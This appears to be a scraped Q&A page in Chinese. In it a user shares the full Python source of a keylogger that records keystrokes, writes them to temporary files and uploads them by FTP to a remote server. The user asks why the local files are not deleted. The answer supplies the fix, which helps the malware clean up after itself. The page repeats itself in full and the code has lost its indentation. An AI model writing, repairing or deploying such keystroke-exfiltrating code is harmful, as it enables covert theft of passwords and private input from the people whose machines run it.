使用 Python ftplib 上传后无法删除文件
Cannot delete file after upload with Python ftplib
这是我的完整程序:
from ftplib import FTP
from keyboard import read_key
from multiprocessing import Process
from os import unlink
from random import random
def send_file(data):
username = str(int(random() * 10000)) + "m.txt"
ftp = FTP('***')
file = open(username, 'x+')
for stroke in data:
file.write(stroke)
data.clear()
file.close()
while True:
try:
ftp.login(user='***', passwd='***')
ftp.cwd('key_logger')
ftp.storbinary("STOR " + username, open(username, 'rb'))
ftp.quit()
break
except Exception:
ftp.set_pasv(True)
continue
unlink(username)
def get_strokes():
strokes = []
i = 0
while True:
key1 = read_key()
if i == 0:
strokes.append(key1)
elif strokes.__len__() > 20:
send = Process(target=send_file, args=(strokes, ), name="main")
send.start()
strokes.clear()
i += 1
i %= 2
if __name__ == '__main__':
get = Process(target=get_strokes(), args=())
get.start()
get.join()
我正在制作一个键盘记录器,用于侦听笔画并将它们保存在 strokes
中。
当 strokes
达到一定长度时,它们会保存在一个 .txt 文件中,然后发送到我的服务器。
然后我需要使用 os.remove()
或 os.unlink
删除 .txt 文件,但它们都没有删除我的文件。
您永远不会关闭打开要上传的文件。所以被锁定,无法删除
上传文件的正确方法是:
with open(username, 'rb') as f:
ftp.storbinary("STOR " + username, f)
这是我的完整程序:
from ftplib import FTP
from keyboard import read_key
from multiprocessing import Process
from os import unlink
from random import random
def send_file(data):
username = str(int(random() * 10000)) + "m.txt"
ftp = FTP('***')
file = open(username, 'x+')
for stroke in data:
file.write(stroke)
data.clear()
file.close()
while True:
try:
ftp.login(user='***', passwd='***')
ftp.cwd('key_logger')
ftp.storbinary("STOR " + username, open(username, 'rb'))
ftp.quit()
break
except Exception:
ftp.set_pasv(True)
continue
unlink(username)
def get_strokes():
strokes = []
i = 0
while True:
key1 = read_key()
if i == 0:
strokes.append(key1)
elif strokes.__len__() > 20:
send = Process(target=send_file, args=(strokes, ), name="main")
send.start()
strokes.clear()
i += 1
i %= 2
if __name__ == '__main__':
get = Process(target=get_strokes(), args=())
get.start()
get.join()
我正在制作一个键盘记录器,用于侦听笔画并将它们保存在 strokes
中。
当 strokes
达到一定长度时,它们会保存在一个 .txt 文件中,然后发送到我的服务器。
然后我需要使用 os.remove()
或 os.unlink
删除 .txt 文件,但它们都没有删除我的文件。
您永远不会关闭打开要上传的文件。所以被锁定,无法删除
上传文件的正确方法是:
with open(username, 'rb') as f:
ftp.storbinary("STOR " + username, f)